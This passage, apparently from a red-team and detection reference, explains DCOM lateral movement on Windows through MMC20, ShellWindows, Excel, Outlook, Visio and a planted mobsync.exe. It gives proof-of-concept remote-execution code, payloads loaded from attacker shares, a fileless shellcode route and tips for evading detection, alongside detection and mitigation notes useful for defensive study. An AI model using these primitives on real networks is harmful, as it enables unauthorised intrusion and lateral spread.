**Authorization** is separate from authentication and happens per AppID. The `LaunchPermission` value (`REG_BINARY`) under `HKCR\AppID\{AppID}` holds an ACL; when absent, the machine-wide defaults configured in `dcomcnfg` apply. Out of the box, those defaults grant **Administrators Local + Remote Launch/Activation**. Critically, the three classic abused objects — MMC20, ShellWindows, ShellBrowserWindow — have **no explicit `LaunchPermission`**, so they inherit the default and local admin on the target is the practical requirement.
|
||||||
|
|
||||||
|
Two identity caveats matter operationally:
|
||||||
|
|
||||||
|
- The **Distributed COM Users** group exists to delegate DCOM access to non-admins but is usually empty.
|
||||||
|
- **UAC remote token filtering** blocks non-RID-500 local accounts over the network unless `LocalAccountTokenFilterPolicy=1` is set; domain accounts placed in local Administrators are unaffected and work.
|
||||||
|
|
||||||
|
> **OpSec:** Enumerate the surface before you touch it: `Get-CimInstance Win32_DCOMApplication` lists AppIDs and names, and OleViewDotNet audits the ACLs (filter `entry LaunchPermission == None` to find classes inheriting the default) ([23]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Why DCOM is living off the land
|
||||||
|
|
||||||
|
DCOM execution is prized in mature environments because it produces almost none of the artifacts defenders baseline for lateral movement:
|
||||||
|
|
||||||
|
- **No service creation** — no Security 7045 event, no `services.exe` write.
|
||||||
|
- **No scheduled task**, no run key, no persistence of any kind.
|
||||||
|
- **No `ADMIN$` drop required** for the pure PowerShell/C# primitives — the payload travels as method arguments, not as a file (impacket's `dcomexec.py` is the exception: it writes output back over `ADMIN$`, section 6).
|
||||||
|
- **No new listening port** on the target beyond the RPC dynamic-port plumbing that already exists.
|
||||||
|
- **Execution rides signed Microsoft binaries** — `mmc.exe`, `EXCEL.EXE`, `OUTLOOK.EXE`, `explorer.exe` — using the same RPC plumbing as legitimate administration tools.
|
||||||
|
|
||||||
|
The trade-off: DCOM primitives are **semi-interactive**. `ExecuteShellCommand` and `ShellExecute` return no stdout, so operators exfiltrate results out-of-band — redirect to a share (`/c whoami > \\share\o.txt`) or let impacket write to `\\127.0.0.1\ADMIN$` and read it back over SMB. Plan your channel before you fire the method.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Abusable remote COM objects
|
||||||
|
|
||||||
|
Every object below is remote-activatable with default permissions and exposes at least one method that reaches command execution. The anatomy is always the same; only the host process and the method differ.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the attacker host (PowerShell or impacket) activates an object on the target over Kerberos/NTLM and TCP 135 + a dynamic port; RPCSS starts or attaches to the host process (`mmc.exe` here), and the method call spawns the payload as a child. Teal dashed callouts mark the defender's view: Sysmon 1 process lineage, Sysmon 3 inbound 135/high ports, and the absence of service installs or SMB drops.*
|
||||||
|
|
||||||
|
| Object | CLSID | Host process | Extra requirement | Payload form |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `mmc.exe -Embedding` | MMC firewall rule enabled | fileless command line |
|
||||||
|
| ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | existing `explorer.exe` | interactive session on target | fileless command line |
|
||||||
|
| ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | existing `explorer.exe` | interactive session; Win10/2012R2+ | fileless command line or file path |
|
||||||
|
| Excel.Application | `{00020812-0000-0000-C000-000000000046}` | `EXCEL.EXE /automation -Embedding` | Office installed | command line / DLL / XLM macro / planted binary |
|
||||||
|
| Outlook.Application | `{0006F03A-0000-0000-C000-000000000046}` | `OUTLOOK.EXE -Embedding` | Outlook installed | fileless shellcode (DotNetToJScript) |
|
||||||
|
| Visio / PowerPoint | via ProgID | `VISIO.EXE` / PowerPoint host | respective app installed | add-in file |
|
||||||
|
| SyncInfrastructure (mobsync) | `{C947D50F-378E-4FF6-8835-FCB50305244D}` | planted `mobsync.exe` | target missing the binary; `ADMIN$` write | planted executable |
|
||||||
|
|
||||||
|
### 5.1 MMC20.Application (remote ExecuteShellCommand)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3, January 5, 2017 ([1]) · **Affects:** tested on Windows 7 / 10 / 2012R2 ([13])
|
||||||
|
|
||||||
|
The original DCOM lateral-movement primitive. The Microsoft Management Console automation object (`MMC20.Application`, AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}`) exposes the MMC snap-in object model to scripts, and buried at `Document.ActiveView` sits `ExecuteShellCommand` — a method that spawns an arbitrary process with a split program/parameters command line. enigma0x3's disclosure opened the entire research category ([1]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the five numbered steps walk from `GetTypeFromCLSID` on the attacker host, through activation with admin credentials and the MMC object-model descent (`Application → Document → ActiveView`), to `ExecuteShellCommand` spawning the payload on the target.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Resolve the class on the target: `Type.GetTypeFromProgID("MMC20.Application", "192.168.99.132")` — under the hood `CoCreateInstanceEx` with `COSERVERINFO.pwszName` set to the target.
|
||||||
|
2. Authenticate as a local administrator (4624 Type 3 on the target; 4648 on the source for explicit creds).
|
||||||
|
3. RPCSS checks launch permissions — MMC20 has no explicit `LaunchPermission`, so the Administrators-friendly machine default applies — and DcomLaunch starts `mmc.exe -Embedding` as the authenticating user.
|
||||||
|
4. Walk the object model over ORPC: `Document` property → `ActiveView` property → `ExecuteShellCommand(Command, Directory, Parameters, WindowState)`.
|
||||||
|
5. `Command` is the program (`C:\Windows\System32\cmd.exe`), `Parameters` its arguments (`/c whoami > C:\temp\o.txt`), and `WindowState` `"7"` runs it minimized. The child process appears under `mmc.exe`.
|
||||||
|
6. Collect output out-of-band — redirect to a file/share, since the method returns no stdout.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target (default launch ACL) |
|
||||||
|
| Network | TCP 135 + one dynamic high port (49152–65535) inbound to the target |
|
||||||
|
| Config | Inbound firewall rule "Microsoft Management Console" must be enabled — it is **blocked by default**, which stops this object on many hardened builds |
|
||||||
|
| OS/build | Windows 7 / 10 / 2012R2 verified via impacket ([13]) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
|
||||||
|
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
|
||||||
|
```
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
|
||||||
|
object com = Activator.CreateInstance(t);
|
||||||
|
object doc = com.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, com, null);
|
||||||
|
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
|
||||||
|
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
|
||||||
|
new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1:** `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding`, then a second-generation `mmc.exe` → `cmd.exe`/`powershell.exe`. The Sigma MMC20 rule keys exactly on this lineage (section 7) ([24]).
|
||||||
|
- **Security 4624 Type 3** on the target for the DCOM logon; Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20.
|
||||||
|
- **Network:** `RemoteCreateInstance` (opnum 4) to 135, then `GetIDsOfNames("ExecuteShellCommand")` + `Invoke` with the full command line in cleartext at packet-integrity level (section 7).
|
||||||
|
- **Reduce noise:** keep the whole payload in `Parameters` so `Image` stays `cmd.exe`; avoid staging files on the target so no Sysmon 11 fires.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Keep the inbound "Microsoft Management Console" firewall rule disabled (default) and block workstation-to-workstation 135/dynamic ports.
|
||||||
|
- Set an explicit `LaunchPermission` on AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}` denying remote launch (section 8), and alert on `mmc.exe` spawning child processes.
|
||||||
|
|
||||||
|
### 5.2 ShellWindows (ShellExecute as the interactive user)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3, "DCOM Round 2", January 23, 2017 ([2]) · **Affects:** tested on Windows 7 / 10 / 2012R2 ([13])
|
||||||
|
|
||||||
|
ShellWindows (CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`, no ProgID, `LocalServer32` `rundll32.exe`) is registered with **RunAs: Interactive User** and piggybacks the already-running `explorer.exe` — activation attaches to the user's shell instead of starting a new COM host, so there is no `mmc.exe`-style spawn event. Through the `IShellDispatch2` interface it exposes `ShellExecute`, plus a toolchest of bonus methods: `ServiceStart`, `ServiceStop`, `IsServiceRunning`, `ShutDownWindows`, `GetSystemInformation` ([2]). It is the default object in impacket's `dcomexec.py` ([13]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the attacker activates ShellWindows on the target, but execution attaches to the logged-on user's `explorer.exe`; `.Item().Document.Application.ShellExecute("cmd.exe", ...)` spawns the payload as an explorer child. Note the requirement banner: an interactive session must exist on the target, and the payload runs as that logged-on user.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Remote-activate CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` against the target with admin credentials.
|
||||||
|
2. Because of RunAs: Interactive User, the activation binds to the interactive session's `explorer.exe`; if no user is logged on, the technique fails.
|
||||||
|
3. Call `.Item()` to get a shell folder window object.
|
||||||
|
4. Descend `Document.Application` to reach `IShellDispatch2.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow)`.
|
||||||
|
5. `vShow` `0` hides the window; the payload starts as a **child of `explorer.exe`**, running as the logged-on user.
|
||||||
|
6. Output returns nothing — exfiltrate out-of-band as with MMC20.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target (inherited default launch ACL) |
|
||||||
|
| Session | An **interactive logon session must exist** on the target — RunAs: Interactive User binds to it |
|
||||||
|
| Network | TCP 135 + dynamic high port inbound |
|
||||||
|
| OS/build | Windows 7 / 10 / 2012R2 verified ([13]) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
|
||||||
|
$obj = [System.Activator]::CreateInstance($com)
|
||||||
|
$item = $obj.Item()
|
||||||
|
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
|
||||||
|
```
|
||||||
|
|
||||||
|
```python
|
||||||
|
# impacket dcomexec.py — ShellWindows is the default object
|
||||||
|
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"
|
||||||
|
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1:** no COM-host spawn; instead `explorer.exe` → `cmd.exe`, which is rarer and higher-signal on servers than on workstations.
|
||||||
|
- **Network:** DCE/RPC `GetIDsOfNames("ShellExecute")` and the `Invoke` arguments cross in **cleartext at Packet-Integrity** — integrity protects against tampering, not disclosure; only Packet Privacy encrypts.
|
||||||
|
- **Reduce noise:** no new host process and no `-Embedding` command line make this the quietest of the classic three on the process axis; the unavoidable artifacts are the 4624 Type 3 and the network-level method strings.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Remove Remote Launch/Activation from Administrators in the machine-wide DCOM defaults (section 8) — ShellWindows has no explicit ACL to fall back on.
|
||||||
|
- Alert on `explorer.exe` spawning command interpreters, especially on servers where users rarely log on interactively.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5.3 ShellBrowserWindow (ShellExecute and Navigate)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3 Round 2 ([2]); `Navigate` variant by bohops, March 17, 2018 ([7]) · **Affects:** Windows 10 / 2012R2 and later only — **absent on Windows 7**; impacket-verified on Win10/2012R2 ([13])
|
||||||
|
|
||||||
|
ShellBrowserWindow (CLSID `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`, no ProgID, RunAs: Interactive User) is the sibling of ShellWindows with two practical differences: the `ShellExecute` path needs no `.Item()` call (`Document.Application` is reachable directly), and the object also implements `IWebBrowser2`, giving `Navigate`/`Navigate2` — a file-path execution primitive that takes no command-line switches at all ([2][7]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Remote-activate `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`; as with ShellWindows, execution binds to the interactive user's session.
|
||||||
|
2. **ShellExecute path:** call `Document.Application.ShellExecute(...)` directly — same `IShellDispatch2` semantics as 5.2, one hop shorter.
|
||||||
|
3. **Navigate path:** call `Navigate("C:\path\payload.exe")` (or `Navigate2`) and the shell "opens" the target, executing it.
|
||||||
|
4. Navigate constraints, from bohops' testing: file paths only, **no command switches**; avoid `.hta` (triggers a prompt); avoid HTTP/S URLs (an IE window visibly pops); **UNC paths work** — stage the binary on a share and navigate to it.
|
||||||
|
5. Reliability caveat: Navigate/2 worked from Windows 10 against Server 2012 targets but **failed against Windows 10/2016 targets** in bohops' tests — treat it as version-sensitive and prefer ShellExecute ([7]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target |
|
||||||
|
| Session | Interactive logon session on the target |
|
||||||
|
| Network | TCP 135 + dynamic high port inbound |
|
||||||
|
| OS/build | Windows 10 / 2012R2+; the class does not exist on Windows 7 |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# ShellExecute — no .Item() needed
|
||||||
|
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
|
||||||
|
|
||||||
|
# Navigate — file path or UNC only, no switches
|
||||||
|
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Identical lineage to ShellWindows (payload under `explorer.exe`), so process-based rules for 5.2 cover it; no separate COM-host artifact.
|
||||||
|
- The Navigate variant produces **no child command line at all** — detection shifts to the file being opened (Sysmon 11 on the drop, or network/SMB telemetry for UNC fetches) and the IE-window side effects of bad scheme choices.
|
||||||
|
- Method strings `Navigate`/`Navigate2` and `ShellExecute` are visible to DCE/RPC-aware network inspection (section 7).
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Same class-level controls as ShellWindows (default-ACL tightening, segmentation); on Windows 7 this object is a non-issue because the class is absent.
|
||||||
|
|
||||||
|
### 5.4 Excel.Application (five execution primitives)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) + [T1559.001](https://attack.mitre.org/techniques/T1559/001/) · **Since:** 2017–2023, five researchers/teams (below) · **Affects:** any Windows build with Office installed; variant (e) requires Windows 10/11 + Office 365 x64
|
||||||
|
|
||||||
|
Excel is the richest DCOM target ever published: remote activation starts `EXCEL.EXE /automation -Embedding` (a strong, high-signal artifact) and hands you an automation surface with at least five independent paths to execution. The shared CLSID is `{00020812-0000-0000-C000-000000000046}`; the host command line `/automation -Embedding` is common to all variants.
|
||||||
|
|
||||||
|
> **Beginner note:** **DDE** (Dynamic Data Exchange) is a legacy inter-app messaging protocol Excel still supports; **XLM** is Excel's pre-VBA macro language, executable through `ExecuteExcel4Macro`; an **XLL** is a DLL-based Excel add-in loaded by path; `ActivateMicrosoftApp` is an automation method that launches sibling Office applications by numeric ID.
|
||||||
|
|
||||||
|
#### (a) DDEInitiate — command line over DDE (Cybereason/Tsukerman, September 11, 2017)
|
||||||
|
|
||||||
|
`DDEInitiate(App, Topic)` was meant to open a DDE channel to another application, but Excel helpfully *launches* the named executable when no DDE server exists. Constraints: `App` is capped at 8 characters and `.exe` is auto-appended (so pass `cmd`, not `cmd.exe`); `Topic` carries up to 1024 characters of arguments; set `DisplayAlerts=$false` to suppress prompts. The spawned process is a child of `EXCEL.EXE` ([5]).
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
|
||||||
|
$hb.DisplayAlerts = $false
|
||||||
|
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')
|
||||||
|
```
|
||||||
|
|
||||||
|
#### (b) RegisterXLL — DLL load by path (Ryan Hanson / Empire)
|
||||||
|
|
||||||
|
`Application.RegisterXLL(dllPath)` registers an XLL add-in — but the load is performed with ordinary DLL semantics, so **`DllMain` executes regardless of file extension or exports**. A UNC path works, letting the payload DLL live on an attacker-controlled share rather than the target disk ([3]). Watch for Sysmon 7 (image load) of an `.xll` or unknown-module load into `EXCEL.EXE`.
|
||||||
|
|
||||||
|
#### (c) Run() macro — staged .xlsm (enigma0x3)
|
||||||
|
|
||||||
|
The straightforward route: copy a macro-enabled workbook (`.xlsm`) to the target, `Workbooks.Open` it remotely, then `$com.Run("MyMacro")` to invoke VBA inside the remote Excel ([3]). Reliable but touches disk (Sysmon 11 on the `.xlsm`).
|
||||||
|
|
||||||
|
#### (d) ExecuteExcel4Macro — fileless XLM and in-process shellcode (Stan Hegt/Outflank; MDSec, September 2020)
|
||||||
|
|
||||||
|
`ExecuteExcel4Macro` evaluates XLM macro strings directly — no workbook needed. `EXEC("calc.exe")` is the one-liner; the full MDSec chain achieves **shellcode injection inside the DCOM-spawned `excel.exe`** via `CALL("Kernel32","VirtualAlloc",...)` + `RtlMoveMemory` + `QueueUserAPC`, entirely fileless ([9]). Weaponized by SharpExcel4-DCOM (rvrsh3ll) ([18]).
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
|
||||||
|
object excel = Activator.CreateInstance(ComType);
|
||||||
|
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
|
||||||
|
new object[] { "EXEC(\"calc.exe\")" });
|
||||||
|
```
|
||||||
|
|
||||||
|
#### (e) ActivateMicrosoftApp — EOL binary proxy execution (SpecterOps, 2023)
|
||||||
|
|
||||||
|
`ActivateMicrosoftApp(5|6|7)` launches end-of-life Office siblings (FoxPro, WinProj, Schedule+) — and resolves their binaries **via PATH search**. Plant a payload as `%LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe` over `ADMIN$`, then activate index 5: Excel launches your binary under the EOL application's name. Requires Windows 10/11 with Office 365 x64 ([10]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target |
|
||||||
|
| Software | Microsoft Office (Excel) installed — so workstations and VDI, rarely servers |
|
||||||
|
| Network | TCP 135 + dynamic high port inbound |
|
||||||
|
| Variant-specific | (e) needs `ADMIN$` write for the planted binary; (c) needs a staged `.xlsm` |
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1:** `svchost.exe -k DcomLaunch` → `EXCEL.EXE /automation -Embedding`, then children of `EXCEL.EXE`. FalconFriday notes `/automation -Embedding` alone is noisy as an analytic — correlate with lineage and Office's non-interactive use ([25]).
|
||||||
|
- **Sysmon 7:** `.xll` or unknown-DLL loads into `EXCEL.EXE` (RegisterXLL).
|
||||||
|
- On servers, **non-interactive Office usage is close to a zero-false-positive signal** — prioritize it.
|
||||||
|
- Excel's `DisplayAlerts=$false` and hidden windows reduce user-facing noise but do nothing against process telemetry.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Do not install Office on servers; block Office child processes via application control/ASR rules.
|
||||||
|
- DCOM default-ACL tightening (section 8) removes the remote-activation path for every variant at once.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5.5 Outlook.Application (CreateObject plus DotNetToJScript)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) + [T1559.001](https://attack.mitre.org/techniques/T1559/001/) · **Since:** enigma0x3, November 16, 2017 ([4]) · **Affects:** hosts with Microsoft Outlook installed
|
||||||
|
|
||||||
|
Outlook's automation object (CLSID `{0006F03A-0000-0000-C000-000000000046}`, host `OUTLOOK.EXE -Embedding`) exposes `CreateObject` — a factory method that instantiates *arbitrary other COM objects inside the remote Outlook process*. Point it at `ScriptControl`, feed it JScript produced by DotNetToJScript, and you get **fileless shellcode execution on the remote host** with no payload on disk ([4]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Remote-activate `Outlook.Application` on the target (admin creds; `OUTLOOK.EXE -Embedding` starts).
|
||||||
|
2. Call `$object.CreateObject("ScriptControl")` — Outlook instantiates the ScriptControl COM object in-process.
|
||||||
|
3. Set `.Language = "JScript"` and call `.AddCode($code)` where `$code` is DotNetToJScript output wrapping a .NET assembly — typically a shellcode loader.
|
||||||
|
4. The JScript engine deserializes and runs the .NET payload inside `OUTLOOK.EXE`: fileless execution under a signed Microsoft binary.
|
||||||
|
5. Variants from the same post: `$object.CreateObject("Shell.Application").ShellExecute(...)` for direct command execution; `CreateObject("Wscript.Shell")` also works but drags in a `wshom.ocx` image-load IoC ([4]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target |
|
||||||
|
| Software | Microsoft Outlook installed |
|
||||||
|
| Network | TCP 135 + dynamic high port inbound |
|
||||||
|
| Tooling | DotNetToJScript (or equivalent) to build the JScript payload |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
|
||||||
|
$object = [System.Activator]::CreateInstance($com)
|
||||||
|
$RemoteScriptControl = $object.CreateObject("ScriptControl")
|
||||||
|
$RemoteScriptControl.Language = "JScript"
|
||||||
|
$RemoteScriptControl.AddCode($code) # $code = DotNetToJScript output -> fileless shellcode
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1:** `svchost.exe -k DcomLaunch` → `OUTLOOK.EXE -Embedding`; the payload runs *inside* Outlook, so there is no second-generation child — lineage detection must key on the anomalous Outlook spawn itself.
|
||||||
|
- **Sysmon 7:** `wshom.ocx` load if the Wscript.Shell variant is used.
|
||||||
|
- Payload is fileless, so disk-based telemetry (Sysmon 11/13) stays silent; ScriptControl usage is the choke point for app-control rules.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Block `ScriptControl` (and `mshta`) via application control where not needed; alert on non-interactive `OUTLOOK.EXE -Embedding` spawns.
|
||||||
|
- No Office/Outlook on servers; DCOM ACL hardening per section 8.
|
||||||
|
|
||||||
|
### 5.6 Visio and PowerPoint (add-in loading)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** Visio — Cybereason ([6]); PowerPoint — attactics.org, February 2018 ([20]) · **Affects:** hosts with Visio or PowerPoint installed
|
||||||
|
|
||||||
|
The Office add-in model generalizes the RegisterXLL idea: several Office applications will load an arbitrary file as an "add-in" over DCOM, and the load executes code.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Visio:** remote-activate ProgID `Visio.Application` (or `Visio.InvisibleApp` for a windowless host) and call `Addons.Add(path)` — Visio loads **any executable** as an add-on; it runs as a child of `VISIO.EXE` ([6]).
|
||||||
|
2. **PowerPoint:** remote-activate `PowerPoint.Application` and call `AddIns.Add("c:\addin.ppam")` to register a VBA add-in whose macros execute ([20]).
|
||||||
|
3. In both cases a payload file must be staged first (share or target disk); `Invoke-DCOMPowerPointPivot.ps1` automates the PowerPoint route ([20]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target |
|
||||||
|
| Software | Visio / PowerPoint installed |
|
||||||
|
| Staging | Add-in file reachable by the target (UNC or local path) |
|
||||||
|
| Network | TCP 135 + dynamic high port inbound |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Visio — path may point at any executable (illustrative one-liner; see [6])
|
||||||
|
$v = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp","TARGET"))
|
||||||
|
$v.Addons.Add("\\share\payload.exe")
|
||||||
|
|
||||||
|
# PowerPoint — register a VBA add-in (illustrative one-liner; see [20])
|
||||||
|
$p = [activator]::CreateInstance([type]::GetTypeFromProgID("PowerPoint.Application","TARGET"))
|
||||||
|
$p.AddIns.Add("c:\addin.ppam")
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Child processes of `VISIO.EXE` / the PowerPoint host; Sysmon 11 on the staged `.ppam`/payload.
|
||||||
|
- Same `/automation`-style non-interactive Office signal as Excel — near-zero false positives on servers.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Application control over Office add-in loads; no Office on servers; DCOM ACL hardening (section 8).
|
||||||
|
|
||||||
|
### 5.7 Abandoned DCOM binaries (mobsync and friends)
|
||||||
|
|
||||||
|
**MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** bohops, April 28, 2018 ([8]) · **Affects:** Windows 2008R2 / 2012R2 for the canonical mobsync case; the *pattern* applies wherever an orphaned registration survives
|
||||||
|
|
||||||
|
A registry inversion of the usual technique: instead of finding a dangerous method, find a DCOM class whose `LocalServer32`/`InProcServer32` binary **does not exist on the target**, plant a payload at that path, and remote-activate the class. DcomLaunch obligingly starts your binary as the server. The canonical case is `mobsync.exe` — present in the registry but absent on disk on 2008R2/2012R2 — registered as the SyncInfrastructure class, CLSID `{C947D50F-378E-4FF6-8835-FCB50305244D}` ([8]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Identify an abandoned registration (the Research Lab section gives a hunting recipe; third-party uninstall leftovers qualify too — bohops lists `IntelCpHDCPSvc.exe`, AppID `{84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}`).
|
||||||
|
2. Copy the payload to the registered path: `copy evil.exe \\target\admin$\system32\mobsync.exe`.
|
||||||
|
3. Remote-activate `{C947D50F-378E-4FF6-8835-FCB50305244D}`. DcomLaunch starts `mobsync.exe` — your payload.
|
||||||
|
4. The client receives `0x80080005` (`CO_E_SERVER_EXEC_FAILURE`) because the binary never registers a class object — **the payload runs anyway**. Treat the error as expected, not as failure.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local administrator on the target; write access to the registered path (`ADMIN$`) |
|
||||||
|
| OS/build | `mobsync.exe` absent on 2008R2/2012R2 — verify per-target (other abandoned paths vary by build) |
|
||||||
|
| Network | TCP 135 + dynamic high port, plus SMB 445 for the plant |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
copy evil.exe \\target\admin$\system32\mobsync.exe
|
||||||
|
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **System log, DistributedCOM 10010** — "<server> did not register with DCOM within the required timeout" — is the signature event; it fires *because* the payload never registers.
|
||||||
|
- **Sysmon 11/13:** the `mobsync.exe` file write itself; a `mobsync.exe` process on a server is inherently suspicious.
|
||||||
|
- This variant **does** touch disk (unlike the pure primitives), trading stealth for reliability on older builds.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Prune orphaned COM registrations; baseline `LocalServer32` paths and alert on binaries appearing at registered-but-previously-missing paths.
|
||||||
|
- Watch DistributedCOM 10010 — it has a low baseline and a precise meaning.
|
||||||
|
|
||||||
|
### 5.8 Adjacent surfaces (Word, Internet Explorer, LethalHTA)
|
||||||
|
|
||||||
|
- **Word:** remote DDE was **unverified** in Cybereason's testing — only Excel responded; the macro route (`Run` analog) is plausible but unconfirmed. Mark: *(verify in lab)* before relying on it ([6]).
|
||||||
|
